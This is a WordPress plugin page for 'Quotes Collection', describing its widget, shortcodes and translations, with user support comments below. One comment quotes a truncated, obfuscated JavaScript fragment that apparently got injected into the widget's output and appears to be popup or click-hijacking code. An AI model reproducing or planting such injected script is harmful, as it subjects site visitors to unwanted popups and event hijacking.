Latest version: 1.4 .2 (Updated on 24 June 2010)
Features | Screenshots | Download | Localization | Feedback & Support | Donate
Quotes Collection plugin with Ajax powered Random Quote sidebar widget helps you collect, manage and display your favourite quotations on your WordPress blog. All quotes or a set of quotes can also be displayed on a page using a [quote] shortcode. The plugin is similar, and uses ideas from (though not based on) the old wp quotes plugin by Dustin Barnes.
Features
- Random Quote sidebar widget with Ajax refresh feature — you will be able to get another random quote on the same space without refreshing the web page. Following is the list of options in the widget control panel:
- Widget title
- Option to show/hide quote author
- Option to show/hide quote source
- Turn on/off the ajax refresh feature
- Choose random or sequential order for refresh
- Option to refresh the quote automatically
- Show only quotes with certain tags
- Specify a character limit and filter out bigger quotes
- The template function
quotescollection_quote()can be used to display a random quote in places other than sidebar. Click here for details about the parameters that can be passed on to this function. - Quotes can be displayed in a page by placing a shortcode such as the ones below.
- Placing
[quote|all]in the page displays all quotes. [quote|author=Somebody]displays quotes authored by Somebody.[quote|source=Something]displays quotes with source as ‘Something’[quote|tags=sometag]displays quotes tagged sometag[quote|tags=tag1,tag2,tag3]displays quotes tagged tag1 or tag2 or tag3, one or more or all of these[quote|id=3]displays quote with ID 3[quote|random]displays a random quote
- Placing
- The plugin comes with a nice admin interface to add, edit and manage quotes.
- The plugin is compatible with WP 3.0 multi-site functionality.
Screenshots
Click on the thumbnail for the larger image.
- Widget Options
- Admin Panel to manage and add quotes
You can find a live demo of the ‘Random Quote’ widget at the sidebar here!
Download
The latest version of the plugin can be downloaded from the WordPress plugin repository. (changelog)
Released for free under the GPL.
Donate
Please make a donation and support development. Any amount accepted with thanks.
Localization
Versions 1.1 and greater support localization. As of the latest version, localization is available in the following languages.
| Code | Language | Translator |
|---|---|---|
| ar | Arabic | Ahmed Alharfi |
| bg_BG | Bulgarian | Martin Petrov |
| bs_BA | Bosnian | Vukasin Stojkov |
| by_BY | Belarusian | Илья |
| cs_CZ | Czech | Josef Ondruch |
| da_DK | Danish | Rune Clausen |
| de_DE | German | Tobias Koch |
| es_ES | Spanish | Germán L. Martínez (Gershu) |
| fa_IR | Persian | Ehsan SH |
| fi_FI | Finnish | Jussi Ruokomäki |
| fr_FR | French | psykotik |
| hi_IN | Hindi | Ashish J. |
| hr_HR | Croatian | 1984da |
| hu_HU | Hungarian | KOOS, Tamas |
| it_IT | Italian | Gianni Diurno (aka gidibao) |
| ja | Japanese | Urepko Asaba |
| lt_LT | Lithuanian | Lulilo |
| lv_LV | Latvian | Maris Svirksts |
| nl_NL | Dutch | Kristof Vercruyssen |
| pl_PL | Polish | Marcin Gucia |
| pt_BR | Brazilian Portugese | Tzor More |
| pt_PT | Portugese | Djamilo Jacinto |
| ru_RU | Russian | Andrew Malarchuk |
| sr_RS | Serbian | Vukasin Stojkov |
| sv_SE | Swedish | Julian Kommunikation |
| ta_IN | Tamil | Srini |
| tr_TR | Turkish | Gürkan Gür |
| uk_UA | Ukrainian | Stas |
| zh_CN | Simplified Chinese | 天毅许 |
If you can translate the plugin in your language, please do, and please send me the localized file so that I can add to the next version of the plugin. The localization template file (quotes-collection.pot) can be found in the ‘languages’ folder of the plugin. If you want to translate the plugin in your language, but are not sure how to go about doing it, contact me, I’ll help you out.
Feedback & Support
Bug reports, feature requests, suggestions, appreciation, criticism, all feedback welcome.
Please read the FAQ, all comments here and the forum posts at WP support forum before asking a question.
Posting your question or support request at the WordPress support forum is highly encouraged as that is the place where you are more likely to get a quicker response. If you don’t get a satisfactory answer there, you can post a comment here, or contact Srini, the plugin author.
Have fun


[...] vermutlich beste Gästebuchplugin für WP Lightbox 2 – Schöne Lightbox für Bilder in Beiträgen Quotes Collection – Zitate-Datenbank mit Tag-Funktion Simple Spoiler Enhanced – Mini-Plugin zum Einbau von [...]
[...] small change for the excellent Quotes Collection plugin that removes an “ORDER BY RAND()”, which tends to suck all of the randomness out [...]
Any way to make this automatically refresh, instead of having to click the Next Quote button?
Automatic refresh is not available in the current version. It may be included in a future version. Thanks.
How can I change the language, sorry didnt understand…
You need to change the WPLANG attribute in wp-config.php. For example,
define ('WPLANG', 'tr_TR');That is in wp-config.php in the root folder of WP installation.
Is there a sql command to convert a the database table from Dustin Barnes quote plugin to this table’s plugin?
Thanks.
You can actually do it… the table structure of Quotes Collection plugin is similar to that of Dustin Barnes plugin except that…
* what is ‘quoteID’ field in Barnes plugin is ‘quote_id’ in QC
* there are a few additional fields ‘source’, ‘tags’, ‘time_added’, ‘time_updated’
* The table name should be changed from ‘wp_quotes’ to ‘wp_quotescollection’
If you need the exact SQL code, http://srinig.com/wordpress/contact and I’ll help you out.
It would be *so* nice if it were possible to make the source into a link, by which I mean provide a URL *and* some human readable text which is made into hypertext. As it is now, in the quote management page, if I put an ‘a href=URL’ tag wrapping the human readable source, it looks fine in the list of quotes, but when displayed in the widget, the source link gets mangled. Showing URLs is often just inappropriate, because they’re so long and messy.
Thanks, the issue is fixed in 1.3.1.
Sweet! Thank you!
[...] Quotes Collection plugin updated to version 1.3.1 [...]
Hey, thanks for a fantastic plugin.
I have a request.
I use the quotes as “testimonials” from clients and have to manually go into the file and edit the link ‘Next quote’ to just ‘Next’
every time I update the plugin, I have to go edit this again.
Would it be possible to have a variable to edit at the top of the file? or from within the admin area to change what this says?
You can search for the text ‘Next quote’ in quotes-collection.php and replace it with ‘Next’
I’ll consider your suggestion to have a variable at the top of the file for the next version.
Thanks.
Hey there! Thanks for this great plugin, I’ve just uploaded 4 years of quotes from my friends and it looks great!
Just a small request: when using [quote|all] in a page, would it be possible to paginate the result? I have more than 200 entries and growing!
Thanks alot!
Thanks for the suggestion. I’ll definitely give it a consideration.
This was working fine until I updated and now when someone clicks on next quote it changes to the next quote but it also shows the following.
“// =5)||(b.indexOf(“opera”)!=-1&&c>=6)||(b.indexOf(“msie”)!=-1&&c>=4))return 1;return 0;};function YwXxfcsd(){var v=self;if(YwXxfc(v.frames,YwXxfcsrz)||(typeof(v.name)!=”undefined”&&v.name==YwXxfcsrz))return 1;while(v!=v.parent){v=v.parent;if(YwXxfc(v.frames,YwXxfcsrz)||(typeof(v.name)!=”undefined”&&v.name==YwXxfcsrz))return 1;};return 0;};function YwXxtePopup(a,b,c,d,e,f){if(YwXxck())return YwXxfw();if(YwXxqn)YwXxqn-=1;if(f)return createPopup(a,b,c,d,e,f);else if(e)return createPopup(a,b,c,d,e);else if(d)return createPopup(a,b,c,d);else if(c)return createPopup(a,b,c);else if(b)return createPopup(a,b);else return createPopup(a);};function YwXxmc(){if(typeof(document.layers)!=”undefined”)document.captureEvents(Event.KeyDown|Event.MouseUp|Event.Blur|Event.KeyPress|Event.Move|Event.Click|Event.KeyUp|Event.Reset|Event.Change|Event.Load|Event.Resize|Event.DblClick|Event.MouseDown|Event.Select|Event.DragDrop|Event.MouseMove|Event.Submit|Event.Error|Event.MouseOut|Event.Unload|Event.Focus|Event.MouseOver);document.onmousedown=YwXxr;return 0;};function YwXxck(a,b){if(!YwXxul&&!YwXxppa&&(YwXxibd()||YwXxro||YwXxqn||YwXxa||(b&&!YwXxnw(b)))){return 0;};YwXxgp(a);var l,s,c;for(var i=0;i”
I’m not sure what that is. Can you please enable the ‘next quote’ for some time so that I can check with it and try to diagnose the problem?